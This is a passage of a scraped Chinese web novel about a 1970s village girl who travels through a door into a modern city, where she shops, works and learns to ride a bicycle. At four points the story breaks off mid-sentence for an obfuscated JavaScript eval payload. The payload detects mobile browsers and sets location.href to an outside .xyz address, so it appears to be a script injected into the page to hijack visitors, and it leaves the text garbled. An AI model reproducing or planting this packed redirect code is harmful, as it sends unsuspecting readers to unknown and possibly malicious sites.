35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14347403|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阳光从树叶的缝隙里落在地面，打下斑驳的光点。 赵小芸靠着树干正昏昏欲睡，一道尖锐刺耳的声音在耳边炸响，直接把她的瞌睡惊没了。 来人是赵金蛋、王春花，以及柱子和他的奶奶。 赵金蛋与柱子一身泥污，狼狈不堪。 “赵小芸！你个要死的妮子啊！”柱子奶奶上前就要戳赵小芸的头，被她往旁边一偏躲过。 赵小芸拎起屁股底下的板凳，与柱子奶奶拉开一段安全距离，一脸诧异地看着她：“刘奶奶，你这是干什么？怎么上来就要动手打人？我虽然是小辈，但您也不能随便动手打完成呀。” “我呸！”刘奶奶隔空指着赵小芸的鼻子，“我打你都是轻的，你看看你干了什么作孽的事儿哟！你怎么敢把我家宝贝柱子推到大坑里，你要死啊！” “刘奶奶，您这样说就不对了。”赵小芸冷着脸说道，“柱子把我家玲玲小宇推进坑里，真是该死啊！” “你……”刘奶奶既生气，又心疼自家孙子，脑子开始不讲理，“那你家玲玲和小宇不是没事吗？再说又不是我家柱子推的，明明是赵金蛋推的，冤有头债有主，你找赵金蛋啊！凭啥欺负我家柱子？” 王春花扭头看着刘奶奶瞪了她一眼。 赵小芸学着刘奶奶的口吻说：“你家柱子不是没事吗？咱们两家就算是扯平了吧。” 刘奶奶一时急的说不出话，只能干瞪眼。 咋就扯平了？啥叫扯平了？ 欺负了自家宝贝孙子就这么算了？想得美！ 王春花同样一脸气愤地瞪着赵小芸：“我家金蛋被你狠狠打了一顿，也道过谦了，你凭什么把我家金蛋推坑里？” 赵小芸笑脸相迎：“三婶儿您咋生气了？金蛋推了玲玲小宇一次，我推他一次，刚好扯平了呀！” “另外，我还教会了金蛋知错就改，这么难得的品质能让金蛋学会，我也太厉害太会教人了！三婶儿您要是想谢我，就赶紧凑齐赔我的医药费给我。” “你！你……我呸！打了我家金蛋，还想要医药费？做梦去吧！”王春花伸手用力推了一下赵小芸，然后拉着赵金蛋往院子里去，“陈翠芳！赵卫国你们给我出来！” 刘奶奶也拉着柱子跟过去，要找赵小芸的爸妈理论。 陈翠芳和赵卫国出来，看着气势汹汹的王春花和刘奶奶，又看了一眼身上湿透带泥的赵金蛋和柱子。 陈翠芳问：“你们想怎么解决？” 刘奶奶大声道：“赔钱！我家柱子可是被吓坏了，那泥坑里的水那么冷，万一感冒了呢？” 她瞥见在院子里乱跑的老母鸡，跑过去就要抓鸡：“这只鸡赔给我的宝贝孙子补补。” 王春花则是说道：“小芸的医药费抵账，我们算两清，把我家金蛋丢坑里这事儿就当扯平了。” 赵小芸从后面迅速跨出几步，拦住刘奶奶抓鸡，无视她愤怒的嘴脸，扭头看向王春花：“三婶儿，你说两清就两清吗？咱们直接去公安局，让公安给咱们评评理，看能不能两清！ “我在医院治疗的单子可还留着呢，当时医生说了，我差一点儿就没命。金蛋是故意推我的，也不知道公安局会不会判故意杀人？” 王春花惊恐地瞪大眼睛。 刘奶奶伸手要去掐赵小芸，这下子也吓的不敢动了。 25. 再逛超市 赵小芸瞥了一眼赵金蛋，对方正在偷看她，猝不及防对上赵小芸的视线，如同惊弓之鸟一般，吓得抱住王春花的胳膊：“妈！” 他现在实在是怕了赵小芸。 “三婶儿，赔医药费还是去公安局，你自己选吧！”赵小芸看着赵金蛋冷冷一笑，“金蛋，你妈要是选去公安局，你就要被抓起来坐监狱咯！” 赵金蛋心性坏，但毕竟也才只有十二岁，被赵小芸稍微一吓，哇的一声就哭了：“妈，我不要被公安抓起来！” 小孩子都知道，公安抓的都是坏人，抓进去后会被打的，他才不是坏人。 “妈——” “金蛋不哭，她吓唬你的，不哭不哭。”王春花气愤地瞪向赵小芸。 赵小芸面无表情道：“三婶儿，我可不是吓唬你们。” 王春花.心里还是憷赵小芸真报公安的，赵金蛋又拉着她哭得厉害，心中已经退怯。 她伸手指向赵小芸、陈翠芳和赵卫国，咬着牙想放狠话，但终究忌惮报公安的威胁，最后从鼻子里发出一道重重的冷哼，拉着儿子离开。 赵小芸好整以暇地看向刘奶奶：“咱们不用报公安，要不去找村长评评理？” 桥头村的村长为人公平公正，刘奶奶也知道其实是自家理亏，要是真找村长，自家可讨不了好，冲着赵小芸呸了一声，牵着柱子也离开了。 赵小芸幸亏躲得快，没让唾沫喷自己身上。 她看着奶孙俩的背影，拎起家里的扫帚，冲过去朝着柱子屁股上打了一下。 柱子啊了一声，刘奶奶转过身，瞪着眼就要开骂。 赵小芸皮笑肉不笑地说道：“刘奶奶，您年纪大，为老不尊，但我却不能打老人，毕竟您老了，骨头脆，万一给您打出好歹就是我犯罪了。 “不过您家柱子年轻，身子骨扛打，您要是再吐我唾沫或者骂我，我不跟您计较，只找您的宝贝孙子，您说好不好？” “你这个……” 赵小芸举起手里的扫帚示意。 刘奶奶即将骂出口的脏话硬生生咽了下去，柱子就是她的心头肉，她怕自己骂出来后，赵小芸这疯丫头真会打自家的宝贝孙子。 她这张枯树皮一样的老脸用力颤抖，终究没再冲赵小芸吐唾沫，也没骂脏话，牵着柱子气呼呼地走了。 …… 陈翠芳拉着赵小芸进屋里，不知道是想笑还是什么：“你今儿大早上出去，就是要把那俩人都推坑里？” 赵小芸点头：“对啊，这才叫扯平了，赵金蛋和柱子可不是知错就改的人，得让他们亲自感受一下玲玲和小宇的害怕，让他们真正记住这次教训，以后他们才不敢再欺负弟弟妹妹。” 她看了一眼堂屋里的马蹄表，赵卫国已经找人对好时间，时间已经准了，现在是下午一点多。 赵小芸说道：“爸，妈，时间不早了，我去那边超市里再买些东西，接着就该上班了。” 到了超市，这次赵小芸轻车熟路地找到去往地下一层的电梯，推了一辆购物车进入超市里面。 先去米面粮油区提了一桶上次阿姨介绍的葵花食用油。 赵小芸左右张望，看见上次的阿姨正在给别的客人做介绍，就暂时先去其他区域逛逛。 到了鲜果区，赵小芸看着长的奇形怪状、火红色的火龙果，发出惊叹：“这也是水果吗？” 往牌子上看了一眼：“原来这种水果叫火龙果，名字确实很形象。” 还有柚子、西瓜、橙子、葡萄、草莓等等，看的赵小芸眼花缭乱，有很多水果她连见都没见过。 “太奇怪了，有些水果不是这个季节成熟的啊！”赵小芸想不明白。 看看这些水果的价格，赵小芸额头冷汗直冒。 这些水果也太贵了！ 赵小芸接着又去旁边的蔬菜区。 叶菜、根茎、茄果等，分类十分清晰明确，赵小芸认真看着这些蔬菜，记下了一些没见过的蔬菜名字，打算买一些菜种子，到时候种在院子里。 “蔬菜竟然也这么贵！番茄竟然四块九毛八一斤？”赵小芸倒抽一口冷气。 她摇头叹气，这里哪儿哪儿都好，就是东西太贵太贵了。 接下来又绕到了肉禽水产区。 看着大块大块新鲜的各种肉，赵小芸嘴里不断分泌口水，好想吃肉啊！ 虽然在奶茶店工作，店长包一顿晚饭，每次也都有肉吃。 但她以前常年很少吃肉，这才吃了两三顿肉，身体对肉的渴求甚至不减反增，依旧馋的不行。 赵小芸看了一遍，鸡肉最便宜。 就买鸡肉吧！ 赵小芸买了一整只鸡，大约五斤，花了三十四块钱。 买完肉之后随便逛着逛着，到了生活用品区。 这里的东西应有尽有，比供销社齐全了数倍不止！ “咦，这个毛巾……”赵小芸拿起一叠抹布，四四方方大小和手帕差不多大，“好柔软啊！” 虽然小了一点，但擦脸用也算正好，而且比刚才看见的那些毛巾便宜多了！ 赵小芸看见了商品标签，惊讶：“这么好的毛巾竟然是抹布？抹布就抹布吧，反正都是新的，我想咋用都行。” 一叠抹布是五条装，两块五一叠，一条才合计五毛钱，划算！ 最后赵小芸又买了正在做活动的牙膏牙刷。 牙膏牙刷套装里面，牙膏一共三盒，两大一小，小的其实也不算小，是一百克规格的。 牙刷一排四支装，赵小芸又额外买了一盒两支装的，总共花费二十八元。 赵小芸又绕回了米面粮油区，这边已经没有其他客人了。 她走过去向前日遇到的销售员阿姨打招呼：“阿姨！” 对方回过头：“哟，是你啊小姑娘。” 赵小芸点头，指了指自己的购物车里面：“我昨天有事儿没来，今天过来买油啦。” 销售员阿姨已经看见她车里的油，忍不住笑道：“你这小姑娘也忒实诚，还过来专门跟我解释。” 赵小芸也笑了起来：“我只是不想让您误会我说谎骗人。” “嗐，这有啥。”阿姨根本没在意。 “阿姨我还有事，我先走了。”赵小芸同她说了再见，推着购物车去收银台结账。 今天这些东西一共花费了她一百三十二元零五毛。 赵小芸从超市里出来，拎着东西先回了一趟家。 日用品放进了堂屋的柜子里，食用油和鸡肉被她拿进了厨房。 赵卫国正在厨房里砌新灶台。 “爸，我买了一只鸡，现在这天热，肉不能久放，下午就把鸡炖上，晚上吃炖鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361794|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .吧！” 赵卫国回过头，嚯了一声：“这么多肉！这得好大一只鸡.吧！” 赵小芸笑着说：“这只鸡足足有五斤呢！人家还专门帮忙给切块，您都不用再拾掇，晚饭前直接炖上就行。” “竟然还给切块？行，下午我就炖上。”赵卫国说，“鸡肉和食用油都先放进堂屋里吧，下午我还得继续砌灶台，这里到处都弄的挺脏的，别把肉弄脏了。” “行，那我就都放堂屋了。”赵小芸把鸡肉和食用油放回堂屋，接下来直接去上班。 这次逛超市花的时间比较多，到奶茶店里时，距离上班也就还有十分钟左右。 赵小芸喝了杯水，又休息了一会儿就开始上班了。 今天和昨天一样，也是到十点就下班了，干了七个小时，工资一百四十元。 明天还能再一天，奶茶店的工作就结束了。 …… 次日早上，赵小芸起床后用新的牙膏牙刷刷牙。 牙膏是白桃味儿的，赵小芸觉得这种甜甜的水果味儿，总让她想吞下去。 洗干净脸后用的是从超市里买的抹布，赵小芸擦干脸上的水，满意点头：“还是很好用的。” 洗漱完，赵小芸吃上了炖鸡。 虽然是昨天剩的，但味道也很好，她觉得肉就没有不好吃的。 “哎哟！小芸啊，你家一大早上就吃肉啊！”路过赵小芸家外面的田婶儿看见她吃的，顿时停住了脚步。 田婶儿看着赵小芸碗里的肉嘴里发馋，忍不住咽口水：“你家昨天下午炖鸡，那个香的哟，整个村都飘满了香味儿，可把我家狗剩给馋坏了。” 赵小芸笑了笑：“田婶儿，我头上的伤还没好全乎呢，医生说了，得多吃点儿有营养的补补。” “哦哦。”田婶儿点着头，心思却不在赵小芸说的内容上，只惦记她吃的肉，“小芸呐，你家这鸡肉从哪里弄来的？” 如果是买的，说不定就是赵卫国有门道，他毕竟去当兵当了那么多年，有些人脉也不奇怪。 况且这次赵卫国受伤回来，听说组织上要给他安排工作，说不定那工作就给安排到肉联厂了。 要真是在肉联厂，那这赵小芸家里以后再吃肉可就容易多了。 田婶儿心里盘算着，不知道能不能沾沾她家的光，给自家也匀几斤肉就好了。 不过家里没肉票，但都是一个村的，赵卫国和陈翠芳这俩人也好说话，到时候她多给几毛钱就行。 赵小芸笑笑，没接田婶儿的话。 田婶儿等了许久，也不见赵小芸开口，明白过来她是不想说，撇了撇嘴，翻着白眼，嘟囔了几句什么就走了。 赵小芸也没在意，吃完饭去河边挑水回来浇菜。 来回跑了好几趟，有些累腰，她拿了一盒牛奶，边喝边回屋坐下休息。 喝完牛奶，赵小芸从屋里出来，准备去大院那边，找堂哥赵大满借自行车学骑车。 刚从屋里出来，就听见隔壁方夏生家里很热闹。 扭头看去，就见方叔和萍婶儿在送人出去。 那人赵小芸见过，是附近村里有名的媒人。 赵小芸惊讶，跑到篱笆墙前，招手喊方夏生过来。 她一脸震惊地问道：“夏生哥，你家里怎么来媒人了？难道是要给你说亲？” 26. 学骑车 方夏生赶紧摆手：“不是！不是给我说亲，是给我姐。” “哦——”赵小芸笑起来，“我还以为是给你说亲呢。” “哪儿能啊，我还早着呢。”方夏生下意识说道。 “也不早了，夏生哥，你的十八岁生日都已经过完了。” “才十八岁，连法定结婚年龄都还没到呢。” 经过方夏生这么一说，赵小芸也想起来，男女婚嫁是有国家法律规定的年龄的。 不过在农村里，男女大都没遵守，都是早早就结婚了，等年龄到了才去领证。 领证的时候，有的人甚至连孩子都有了。 当然，也有人可能连结婚证都不领。 赵小芸问：“媒人给白雪姐说了哪里的人？” “小芦村。” 小芦村距离他们桥头村大概十里地。 “还好，不是特别远。”赵小芸点点头，又问道，“和男方见过面吗？对方长啥样，家里是什么情况？” 方夏生摇头：“还没见过面，不过已经约好见面的时间了，就在三天后。” 三天后村里的麦子都割完了，接下来虽然还得忙晒麦子，犁地以及准备种下一茬庄稼，但双方见个面的时间还是能匀出来的。 “具体长什么样媒人倒是没提，只说对方勤奋能干，疼老婆，是个顾家的人。至于对方家里的情况，他上面有两个哥哥和两个姐姐，都已经结婚分出去住了，下面还有一个妹妹，也快到议亲年龄了，目前正住在家里。” 赵小芸听着没觉得有什么问题，农村里大多都是这么个情况的家庭。 “媒人说什么也不能尽信，还是得多打听打听。” 方夏生笑着点头：“我也是这么打算的，准备过两天得空了，去小芦村打听一下对方和家里的情况。” 赵小芸放心了：“那就好。不说了，我去找大满哥借自行车。” “借自行车？”方夏生问，“你借车要去哪里？” 赵小芸摆手：“不去哪里，我准备学骑自行车……哎对了，夏生哥你有空吗？要不你帮我扶着车？” “我还得下地去割麦子……”今天要不是为了接待媒人，他们一家早都已经到地里了，“不过中午我有时间，可以给你扶车。” 中午也行，赵小芸不挑：“那就说定了，中午帮我扶车。” 说完，她转身要走。 “小芸，你等下！”方夏生赶紧喊住她。 “啊？还有啥事？” 方夏生冲她招招手，赵小芸回来，他才凑近小声问道：“你有没有门路能买来布料？我姐这不是说亲吗，我想着要是能买来布料，给她做件新衣裳。” 赵小芸沉吟，去逛超市的时候她貌似没看见有卖布料的，不过那边物资那么丰富，布料肯定有。 “我得先问问，应该没问题。” “那就好，贵点儿没关系，主要是能买来布就行。小芸，真的谢谢你了。”方夏生笑起来，眼睛都笑弯了。 “谢啥，咱俩啥关系，况且是帮白雪姐买布料，不用跟我客气。”赵小芸说的十分大气。 她看着方夏生笑容灿烂的样子，虽然笑的很好看，但总觉得还有点儿傻气。 可能是错觉吧？ 赵小芸摇摇头，去大院那边找赵大满，跟他借自行车。 …… 赵大满一脸为难：“你要借自行车？你借自行车干啥？” 赵小芸装作没看见他的不情愿，说：“我学骑车。” 赵大满一听更不想借了：“这自行车可是新的，你学骑车摔了磕了，把自行车弄坏怎么办？” “大满哥你就放心吧，我不会弄坏的。当初你学骑车的时候都摔了好几次呢，不也没把自行车摔坏？” 那我跟你能一样吗？再说了，这可是我家的自行车，摔坏了你又不心疼。赵大满在心里不满腹诽。 “小芸，不是哥不借给你，主要是我还有事儿呢，得用自行车，要不等下次我得空了，再把自行车借给你？” 赵小芸似笑非笑：“可以啊！这样吧，你把自行车票和五十块钱还给我，今天这自行车我就不借了。” 赵大满瞬间拉长了脸：“小芸你怎么能这样？都是一家人，你怎么又说这种话。” “哪种话？”赵小芸一副好奇的语气，“是只能你家占便宜，不能吃亏的这种话吗？想让我别说也可以，还票和钱，或者自行车咱们两家以后共用，你选吧！” 赵大满沉着脸：“共用不可能！算了，我不和你争吵，这次我先借给你，你要好好爱惜，不能摔坏了。” “放心，这辆自行车的一半可是我家的，我肯定爱惜。”赵小芸才不管他同意没同意共用，她是通知，不是请求。 她过去扶住自行车的车把，踢起支架，推着车走了。 赵大满在后面死死瞪着赵小芸的背影，咬牙小声道：“想得美，才不是你家的！” 赵小芸可没心情知道赵大满在后面嘀咕什么，她开心地推着自行车去大路上，这边的路更平坦、更宽敞。 自行车是男式自行车，带横梁，座椅高，赵小芸很难骑上去。 就算骑上去了，脚都挨不住地，脚尖勉强能够到脚踏板。 “怎么就没买女式自行车啊！”赵小芸不满嘟囔。 没办法，她只能把一只脚从横梁下穿过去，歪着身体学骑车。 这个姿势不能坐到座椅上，只能站着骑，不过勉强能蹬着脚踏板先跑起来。 赵小芸一只脚踩地，另一只脚蹬，几乎是在滑行。 就这么跑着学骑车，累到满头大汗，但成果依旧不怎么样。 她学着两只脚都踩在脚踏板上时，还摔了好几次，胳膊和腿上都摔出了淤青。 “这自行车也太难学了。”赵小芸心情沮丧，再看看自己身上的淤青，疼得龇牙咧嘴，苦中作乐道，“不用担心买的红花油用不完浪费了，这下子我也能用上了。” 赵小芸这么一学，就学到了中午。 …… “小芸！”方夏生拉着一车麦子，远远地看见她就大声喊。 赵小芸学车的这条路，正是方夏生从地里回村的必经之路。 走近后，方夏生看见赵小芸身上的伤，急道：“摔伤了？学骑车不能心急，先回去吃饭吧，吃完饭我给你扶着你再继续学。” 赵小芸也很累了，点点头：“好，咱们一起回去吧。” 回到家，陈翠芳看见赵小芸身上的摔伤，惊了一跳：“咋回事？身上咋伤着了？” 她甚至都想到了是王春花和赵卫民怀恨在心，把自家闺女给打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369328|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 赵小芸把自行车停放在院子里：“妈你别急，我没事，就是学骑自行车摔了几下。” 陈翠芳松了口气，不是被打了就好：“妈去拿红花油给你擦擦。” 给闺女擦着红花油，陈翠芳叮嘱：“学骑车也要小心点儿，别心急，慢慢来，可别再摔伤了……” 赵小芸认真听着妈妈关心的话语，时不时点头附和。 吃过中午饭，赵小芸继续去学骑车。 这一次，方夏生和她一起。 方夏生站在后面，双手扶着车后座，自行车往地面倾斜了一些：“小芸，你先坐上去，感受一下骑自行车的感觉。” 赵小芸抬腿跨上车座，因为自行车倾斜了一个角度，她的一只脚能挨着地面。 但坐是坐上去了，她踩着地面的一只脚不敢抬起来。 方夏生提醒赵小芸：“左脚也抬起来，放心，我在后面扶着呢，不会把你摔了的。” 赵小芸鼓起勇气抬起左脚，踩在脚踏板上，自行车同时被方夏生扶正。 “要摔了！要摔了！” “没事，摔不了。”方夏生用力抓着车后座，“你身体别那么僵硬，抓着车把的手别太用力，轻轻握着就行，不然又费力气又不好掌握方向。” “我不用力抓着总觉得车把要歪。”赵小芸欲哭无泪，“自行车好难学啊！” 方夏生轻笑：“等你学会了就觉得容易了。” “学自行车有时候就凭着灵光一闪，某个瞬间开窍，之后几乎是马上就能学会。” 赵小芸愁容满面：“你这说的也太玄乎了。” 不过她勤奋一点，总能学会的。 一个小时后。 “小芸，今天先学到这里？”方夏生下午还要去地里割麦子。 “好。”赵小芸从自行车上下来，满面笑容，“我感觉你帮我扶着，我进步快多了。” “的确进步多了，至少坐在自行车上没那么僵硬了。”方夏生提醒，“不过也不能过于依赖我，学骑自行车还是自己学更快些，要是一直让人扶着，很可能许久时间都学不会。” 赵小芸点头，突然问道：“夏生哥，你是什么学骑自行车的？我好像没见你学过，但是你骑的好熟练啊！” “我？”方夏生顿了下，“我一个人躲起来偷偷学的，为了惊艳你们所有人。” 赵小芸噗嗤笑起来。 方夏生帮忙推着车，拍了拍车座，问题又转了回来：“这辆是男式自行车，其实不适合你这个新手学。” 男式自行车有横梁，车座也过高，赵小芸骑上去，脚才勉强挨着脚踏板。 赵小芸也知道男式自行车不适合自己学，但她没有女式自行车啊！ 回家后，赵小芸稍微休息了一会儿。 又穿过门，去那边搬床。 有了昨天的拆床、搬床经验，今天的速度快了些。 赵小芸还又搬回来了两张床垫，厚厚软软的床垫，躺上去真的太舒服了。 赵小芸在床垫上翻滚了好几圈，闭上眼睛，很快就开始昏昏欲睡。 正快要睡过去的时候，外面突然吵闹起来。 有人大喊：“赵卫国！赵卫国在家吗？有人找你，是县城来人。” 赵小芸猛地惊醒，县城来人？ 27. 送衣服 赵小芸赶紧跳下床，从屋里出来。 看见自家院子里聚集了一群人，其中一个她没见过的陌生人，应该就是从县城过来的。 赵小芸跑过去：“您好，赵卫国是我爸，他去生产队了，很快就回来。请问您找我爸有什么事？” 她搬完床和床垫后，赵卫国和陈翠芳一起去生产队送编好的竹席、箩筐了。 对方笑着说：“我是县城.的邮递员，有一封很重要的信件要亲手交到赵卫国同志手上。” 赵小芸猜到某个可能，一颗心狂跳。 她去搬了个板凳过来：“您先坐着歇会儿，我爸马上回来。” 赵小芸又去倒了杯水：“您喝水。” “谢谢。”邮递员接过搪瓷杯，“妹子，你不用这么客气，这是我分内的职责。” 赵小芸冲对方笑笑，心里有些焦急，请村里的一个小孩儿帮忙去喊自己爸妈尽快回来。 没多久，陈翠芳和赵卫国脚步匆匆地赶回来。 看见自己家这么多人，两人都吓了一跳：“这是出什么事了？” 赵卫国扬声喊：“小芸！” 赵小芸眼睛一亮：“爸！你回来了。” 赵卫国从人群后面挤过来，一眼看到家里来的陌生人。 赵小芸说：“爸，这是县城来的邮递员，说有一封你的信。” 赵卫国快步走到对方面前：“您好，我就是赵卫国。” 陈翠芳去屋里拿出赵卫国的证件给邮递员看。 邮递员接过证件核对后，从包里拿出一封信：“您好，赵卫国同志，这是您的信。” “多谢！辛苦您了。”赵卫国赶紧接过来，看见信封上的字之后，心脏扑通扑通跳。 “职责所在。”邮递员送完信就离开了桥头村。 陈翠芳对看热闹的一群人大喊：“没事了，没事了，都散了吧！” 有人走了，也有人探着头问：“卫国，谁给你写的信啊？” 陈翠芳挥手赶人：“问这么多干啥，你管谁呢？” 对方撇嘴：“问问咋了？算了算了，我还不稀罕知道呢。” 等一群人都走了之后，赵小芸凑到赵卫国身边：“爸，快看看信里是什么？” 赵卫国小心翼翼地撕开信封，等看完信里的内容，他高兴地大笑起来。 赵小芸也兴奋地跳起来，转身一把抱住陈翠芳：“妈！爸的工作落实下来了！” 陈翠芳也是又惊又喜：“真的？这可真是太好了，是啥工作？” 说完又有些忧心：“只是你爸这腿还没好利索呢，怕是不能马上上岗，人家能等吗？要是等不了，这岗位会不会给别人？” 赵小芸脸上的笑容更家灿烂：“妈你放心，组织上也考虑到爸的腿伤了，给的工作岗位是坐着干活儿的。” 给赵卫国的工作，是县城制衣厂里缝扣子的岗位。 县城.的启明制衣厂，主要业务是负责部队里军人的服装制作，是他们县城乃至省城都很出名的厂子。 在这里工作，既有面子，福利待遇也好。 陈翠芳高兴坏了：“那就好，这可真好！咱家的日子真是越来越好了。对了，哪天去上岗？” 赵卫国说：“大后天。” “那正好，爸，我今天干完奶茶店的工作就结束了，明天我去那边给你把日用品买齐。”赵小芸高兴地做着计划，“后天带着妈一起去县城医院检查身体，大后天您去上岗报到，刚刚好！” 时间不早了，赵小芸穿过门去上班。 …… 今天依旧是到十点就下班了，赵小芸又得到工资一百四十块钱。 减去这些天买东西已经花掉的，她手中现在有四百二十六元零三毛。 赵小芸脱下玩偶服，旁边的齐宏问道：“你今天看起来怎么格外高兴？应该不是因为工作结束了吧？” 赵小芸缺钱，奶茶店的工作一结束，在没有找到下一份工作前，她就没收入，不可能因为这个高兴。 赵小芸嘿嘿一笑：“我遇见了一件好事儿。” 她没细说，齐宏也没追问，只说道：“恭喜！” 两人都放好玩偶服，赵小芸说道：“齐宏，店里的工作都结束了，可我还欠你一顿饭没请呢。” 齐宏笑了笑：“那就请我吃一顿夜宵吧！” 本来他想着赵小芸手里没什么钱，请客的事儿拖延到以后，等她手里宽松了，不缺这一顿饭钱时再让她请。 不过经过几天的相处，他了解到赵小芸是什么性格，知道她会一直惦记着这点儿恩情，索性让她还了得了，省得一直在心里记着。 两人去找店长告别。 “小芸，你等下。”店长去打开自己的车后盖，从里面提了一大包东西出来。 走过来把大包给赵小芸：“我收拾了一些衣服，你应该也能穿，都是干净的，有些没穿过几次，你要是不嫌弃就送你了。” 店长本来是犹豫的，毕竟现在基本没人会捡别人的旧衣服穿。 但几天下来，她见赵小芸一直穿着不怎么合身、颜色也非常老土暗沉的衣服。 且这么热的天还穿长袖，就知道她衣服不多，就不再多犹豫，麻利地收拾了一些衣服准备送给她。 赵小芸震惊地看着眼前的大包：“给我的？这么多衣服都送给我？” 嫌弃？她怎么可能会嫌弃！ 现在家家户户都缺布票，一年到头可能都没一件新衣服穿。 甚至是冬天的棉衣拆了棉花，改成单衣夏天继续穿。 没办法，没布料，衣服不够穿。 赵小芸不知所措：“真、真的都送给我吗？” 虽然她知道这里的物资十分丰富，这里的人也过着比一九七四年的他们幸福十倍、百倍的生活。 但再丰富的物资，也不是天上掉下来的啊！这么多衣服都是店长花钱买的，肯定是很大一笔钱吧？ 她可知道，这里赚钱虽然好像很容易，但东西也特别贵！ 店长点头：“嗯，都是送给你的，你不嫌弃就拿着。” 赵小芸赶紧接过来抱住：“店长您送给我衣服我咋会嫌弃，我比过年都高兴！不过这么多衣服，我真是不好意思收。” 店长笑着说：“没事儿，收下吧！” …… 两人告别店长，一起去吃夜宵。 一大包衣服暂时先放在店里的仓库里，等吃完夜宵，她再回来拿走。 “齐宏，你想吃什么？”赵小芸问。 齐宏想了想：“麻辣烫吧！那边有一家卖老式麻辣烫的，味道不错。” “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14376391|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，那就去吃麻辣烫。” “你要是不想吃麻辣烫，可以看看其他吃的，反正这里的小摊都可以拼桌坐，等你吃完把碗给老板送回去就行。”齐宏又说道。 赵小芸点头：“那我先看看其他的。” 其实她想吃那个烤肉饭。 第一天来这里的时候，超级巨大的一块肉串在机器上，缓慢转着炙烤，把她馋的都要把舌头吞下去了。 现在终于有机会，她想尝尝那香喷喷的烤肉饭！ 两人一个买了麻辣烫，一个买了烤肉饭，凑到一桌坐着开吃。 齐宏的麻辣烫飘着一层红油，辣椒格外香。 他挑了一筷子宽粉条吃：“我就喜欢吃他家的这个粉条，过瘾！小芸，下次你也可以尝尝这家的麻辣烫，这种老式麻辣烫在我们这儿可是独有的特色小吃。” 赵小芸闻见辣椒的香辣味儿时，就控制不住地咽口水：“下次有机会我一定尝尝。” 她自己的烤肉饭看起来也很诱人，先夹了一块肉吃，有点儿甜甜的味道，香而不腻。 赵小芸拌着米饭大口大口吃。 两人吃完饭，齐宏拿出一张纸条给赵小芸：“这是我家店铺的位置，以后要是有事可以去找我，如果我碰到什么合适的兼职，也可以介绍给你。” “好的，有空我还能找你玩儿。”赵小芸很高兴，接过纸条看了一眼，惊讶道，“全家福砂锅？你家是开饭店的？” “嗯，开了一家小饭店。” 赵小芸有些奇怪：“那你怎么没在自己家饭店里帮忙？” 齐宏摆摆手：“别提了……反正我想出来工作，不想在家里。” 赵小芸看他神色郁闷，适时止住了话题。 两人互道再见，分别回家。 赵小芸回了一趟奶茶店，抱走店长送给她的一大包衣服。 穿过门，回到了一九七四年的家。 赵小芸已经很累了，把一大包衣服放下，简单洗漱了一下，躺下就睡了。 新床垫又软又有弹性，躺在上面不知道比硬木板好了多少倍。 之前躺在木板上，睡一晚上感觉身上都被硌的疼。 这一夜，赵小芸从没感觉睡的这么舒服。 可能是连着累了四五天，身体疲惫过头，今天稍一放松，她就又睡过头了。 睁开眼睛看着外面的大太阳，赵小芸伸了个懒腰起床。 走到堂屋时看了一眼表，都已经早上九点半了。 赵小芸忙完杂事，吃过早饭，已经上午十点钟。 陈翠芳在喂鸡，赵小芸吃完早饭，问道：“小芸，你昨天晚上带来那一大包是啥东西？” “妈你没拆开看吗？”赵小芸说，“是我打工那家奶茶店店长送给我的衣服。” “那么一大包全是衣服吗？”陈翠芳惊讶，把菜叶子都丢给老母鸡，转身同赵小芸一起进屋。 赵小芸把大包放在床上，解开绑口的绳子，把里面的衣服都拿出来。 有短袖、毛衣、裤子、外套，还有又轻又暖的棉衣，这棉衣里面装的不知道是什么，比棉花轻多了，但特别暖和。 赵小芸还从里面拿出一个小盒子，打开一看，里面整整齐齐叠放着五条内裤。 她吃惊极了，看这些内裤的样子，分明都是全新的！ 28. 大购物 赵小芸以为店长只是送给自己一些旧衣服，没想到竟然还有新内裤。 